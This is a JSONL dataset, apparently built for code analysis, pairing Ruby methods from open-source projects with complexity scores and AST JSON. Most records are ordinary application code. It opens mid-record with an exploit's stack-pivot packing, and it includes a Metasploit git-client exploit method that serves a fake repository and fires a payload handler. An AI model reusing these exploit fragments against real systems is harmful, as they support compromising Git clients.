"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StackPivot\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}","id":"4c5cc42a-d123-433a-a7df-0b4e32e89bf7"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20210921235050_insert_forem_connect_broadcast_message.rb","start_line":3,"raw_source":"def run\n      return if Broadcast.find_by(title: \"Welcome Notification: forem_connect\")\n\n      Broadcast.create!(\n        title: \"Welcome Notification: forem_connect\",\n        processed_html: I18n.t(\"broadcast.connect.forem\"),\n        type_of: \"Welcome\",\n        active: true,\n      )\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Broadcast\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Welcome Notification: forem_connect\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Broadcast\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Welcome Notification: forem_connect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"processed_html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"broadcast.connect.forem\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"str\",\"children\":[\"Welcome\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"680b5972-6671-4e7a-b609-fe5376d29b90"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/lib/supply/client.rb","start_line":571,"raw_source":"def upload_image(image_path: nil, image_type: nil, language: nil)\n      ensure_active_edit!\n\n      call_google_api do\n        client.upload_edit_image(\n          current_package_name,\n          current_edit.id,\n          language,\n          image_type,\n          upload_source: image_path,\n          content_type: 'image/*'\n        )\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_image\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"image_path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"image_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"language\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_active_edit!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_google_api\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"upload_edit_image\",{\"type\":\"send\",\"children\":[null,\"current_package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_edit\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"image_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_source\"]},{\"type\":\"lvar\",\"children\":[\"image_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"image/*\"]}]}]}]}]}]}]}","id":"5eaf0b6e-6bb3-4fd4-8f80-a766f7f19bff"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/paginator.rb","start_line":67,"raw_source":"def call\n    anchor_type, target_record_id = extract_target_record_id\n\n    pagy, records =\n      if anchor_type && target_record_id\n        @filter = :all # Ignore filter when jumping to specific journal\n        pagy_array_for_target_journal(anchor_type, target_record_id)\n      else\n        pagy_array(base_journals, **pagy_options)\n      end\n\n    # For UI display: if user wants \"oldest first\" UI, reverse the array\n    records = records.reverse if journal_sorting.asc?\n\n    [pagy, records]\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"anchor_type\"]},{\"type\":\"lvasgn\",\"children\":[\"target_record_id\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_target_record_id\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pagy\"]},{\"type\":\"lvasgn\",\"children\":[\"records\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"anchor_type\"]},{\"type\":\"lvar\",\"children\":[\"target_record_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filter\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"pagy_array_for_target_journal\",{\"type\":\"lvar\",\"children\":[\"anchor_type\"]},{\"type\":\"lvar\",\"children\":[\"target_record_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"pagy_array\",{\"type\":\"send\",\"children\":[null,\"base_journals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagy_options\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal_sorting\"]},\"asc?\"]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"reverse\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pagy\"]},{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}","id":"31404440-c589-4cf3-b7a6-4abf3b77c97f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/nested_error.rb","start_line":8,"raw_source":"def initialize(association, inner_error)\n        @base = association.owner\n        @association = association\n        @inner_error = inner_error\n        super(@base, inner_error, { attribute: compute_attribute(inner_error) })\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"inner_error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"owner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@association\",{\"type\":\"lvar\",\"children\":[\"association\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@inner_error\",{\"type\":\"lvar\",\"children\":[\"inner_error\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},{\"type\":\"lvar\",\"children\":[\"inner_error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[null,\"compute_attribute\",{\"type\":\"lvar\",\"children\":[\"inner_error\"]}]}]}]}]}]}]}","id":"63c808e4-d556-46a5-9be3-d147d67afff6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/tables_truncate_spec.rb","start_line":396,"raw_source":"def geo_configured?\n    !!ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: 'geo')\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"geo_configured?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"geo\"]}]}]}]},\"!\"]},\"!\"]}]}","id":"6e89f731-c36c-47cc-9c2e-b3e14982f409"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/inter_region_api_method_relay.rb","start_line":7,"raw_source":"def self.extended(klass)\n    unless klass.const_defined?(:InstanceMethodRelay)\n      instance_relay = klass.const_set(:InstanceMethodRelay, Module.new)\n      klass.prepend(instance_relay)\n    end\n\n    unless klass.const_defined?(:ClassMethodRelay)\n      class_relay = klass.const_set(:ClassMethodRelay, Module.new)\n      klass.singleton_class.prepend(class_relay)\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"InstanceMethodRelay\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance_relay\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"InstanceMethodRelay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"instance_relay\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"ClassMethodRelay\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_relay\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"ClassMethodRelay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"singleton_class\"]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"class_relay\"]}]}]}]}]}]}","id":"09ace7e7-7da4-4b3b-9496-f6516cb5a6a5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiple_db_test.rb","start_line":29,"raw_source":"def test_swapping_the_connection\n    old_spec_name, Course.connection_specification_name = Course.connection_specification_name, \"ActiveRecord::Base\"\n    assert_equal(Entrant.lease_connection, Course.lease_connection)\n  ensure\n    Course.connection_specification_name = old_spec_name\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_swapping_the_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_spec_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"connection_specification_name=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"connection_specification_name\"]},{\"type\":\"str\",\"children\":[\"ActiveRecord::Base\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entrant\"]},\"lease_connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"lease_connection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Course\"]},\"connection_specification_name=\",{\"type\":\"lvar\",\"children\":[\"old_spec_name\"]}]}]}]}","id":"d4ddb072-62ff-4d44-bf3e-4c6926aed4d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/web_hooks_controller.rb","start_line":72,"raw_source":"def update\n    if @web_hook.update(web_hook_params)\n      StaffActionLogger.new(current_user).log_web_hook(\n        @web_hook,\n        UserHistory.actions[:web_hook_update],\n        changes: @web_hook.saved_changes,\n      )\n      render_serialized(@web_hook, AdminWebHookSerializer, root: \"web_hook\")\n    else\n      render_json_error @web_hook.errors.full_messages\n    end\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"web_hook_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_web_hook\",{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"web_hook_update\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"changes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},\"saved_changes\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},{\"type\":\"const\",\"children\":[null,\"AdminWebHookSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"web_hook\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_hook\"]},\"errors\"]},\"full_messages\"]}]}]}]}","id":"61cc2416-92be-4d95-a77f-80007ac09373"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_warning.rb","start_line":80,"raw_source":"def identifying_values\n      [smell_type, context, message, lines]\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"identifying_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smell_type\"]},{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"message\"]},{\"type\":\"send\",\"children\":[null,\"lines\"]}]}]}","id":"6eb5c643-3e5c-4898-9674-27f6f90c1d98"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/server/cache.rb","start_line":152,"raw_source":"def write_pid_file\n          pid_path.write(Process.pid)\n          yield\n        ensure\n          dir.rmtree\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_pid_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pid_path\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dir\"]},\"rmtree\"]}]}]}","id":"ee55f31d-2191-4ea8-9e0f-f67d219a9ab0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/git_client_command_exec.rb","start_line":267,"raw_source":"def do_git(cli, req)\n    # determine if the requested file is something we know how to serve from our\n    # fake repository and send it if so\n    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')\n    if @repo_data[:git][:files].key?(req_file)\n      vprint_status(\"Sending Git #{req_file}\")\n      send_response(cli, @repo_data[:git][:files][req_file])\n      if req_file == @repo_data[:git][:trigger]\n        vprint_status(\"Trigger!\")\n        # Do we need this?  If so, how can I update the payload which is in a file which\n        # has already been built?\n        # regenerate_payload\n        handler(cli)\n      end\n    else\n      vprint_status(\"Git #{req_file} doesn't exist\")\n      send_not_found(cli)\n    end\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"do_git\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"uri\"]}]},\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_uri\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"files\"]}]},\"key?\",{\"type\":\"lvar\",\"children\":[\"req_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending Git \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"files\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"req_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_file\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"trigger\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trigger!\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Git \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_file\"]}]},{\"type\":\"str\",\"children\":[\" doesn't exist\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}]}]}","id":"6d4eb6d7-c5ea-4514-8283-1e8f8574ef9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/error_tracking/project_settings_spec.rb","start_line":109,"raw_source":"def make_request\n      patch api(\"/projects/#{project.id}/error_tracking/settings\", user), params: params\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"make_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"patch\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/error_tracking/settings\"]}]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]}","id":"1aa51d89-9955-41e9-a512-09b57e93e690"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/heredoc_delimiter_case.rb","start_line":50,"raw_source":"def message(_node)\n          format(MSG, style: style)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_node\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"send\",\"children\":[null,\"style\"]}]}]}]}]}","id":"a4dac1df-61ca-4423-a568-1f01dc3e74a0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_container_image.rb","start_line":82,"raw_source":"def self.image(consumption)\n    consumption.resource || @unknown_image\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"consumption\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"consumption\"]},\"resource\"]},{\"type\":\"ivar\",\"children\":[\"@unknown_image\"]}]}]}","id":"98857442-523b-48bc-a69a-4278773cf035"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/callbacks/guard_within_block_multiple.rb","start_line":41,"raw_source":"def log(text)\n      puts text if @log\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]}]}","id":"4976d018-6c80-48da-8987-95a68bd0c4f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/subflows/database_metric_definer.rb","start_line":13,"raw_source":"def run\n        @metric = Metric.new\n        metric.data_source = 'database'\n\n        # TODO: replace hardcoded assignments https://gitlab.com/gitlab-org/gitlab/-/issues/464066\n        metric.instrumentation_class = 'CountIssuesMetric'\n        metric.time_frame = %w[7d 28d]\n        metric.key_path = 'issues_count'\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@metric\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},\"data_source=\",{\"type\":\"str\",\"children\":[\"database\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},\"instrumentation_class=\",{\"type\":\"str\",\"children\":[\"CountIssuesMetric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},\"time_frame=\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"7d\"]},{\"type\":\"str\",\"children\":[\"28d\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},\"key_path=\",{\"type\":\"str\",\"children\":[\"issues_count\"]}]}]}]}","id":"f7a7ba95-a0b9-4187-a8b3-52f15a911c35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/user_groups_counter.rb","start_line":8,"raw_source":"def execute\n    Namespace.unscoped do\n      Namespace.from_union([\n        groups,\n        project_groups\n      ]).group(:user_id).count # rubocop: disable CodeReuse/ActiveRecord\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"unscoped\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"from_union\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},{\"type\":\"send\",\"children\":[null,\"project_groups\"]}]}]},\"group\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"count\"]}]}]}","id":"95fd093f-2021-49a1-93fc-5127d3e7d27c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/alert_settings.rb","start_line":55,"raw_source":"def enable_create_incident\n        Page::Project::Settings::Monitor.perform do |setting|\n          setting.expand_alerts do |alert|\n            alert.go_to_alert_settings\n            alert.enable_incident_for_alert\n            alert.save_alert_settings\n            alert.click_button('Collapse')\n          end\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_create_incident\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Settings\"]},\"Monitor\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"expand_alerts\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"go_to_alert_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"enable_incident_for_alert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"save_alert_settings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"click_button\",{\"type\":\"str\",\"children\":[\"Collapse\"]}]}]}]}]}]}","id":"3e3f3536-e0ba-4ea2-9056-e0a245c0cfad"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/streaming.rb","start_line":124,"raw_source":"def handle_data(data)\n      JSON.parse(data)\n    rescue JSON::ParserError => e\n      RubyLLM.logger.debug \"Failed to parse data chunk: #{e.message}\"\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to parse data chunk: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"ffac27c9-bd2d-4b8f-8c38-fcead8d9332c"}
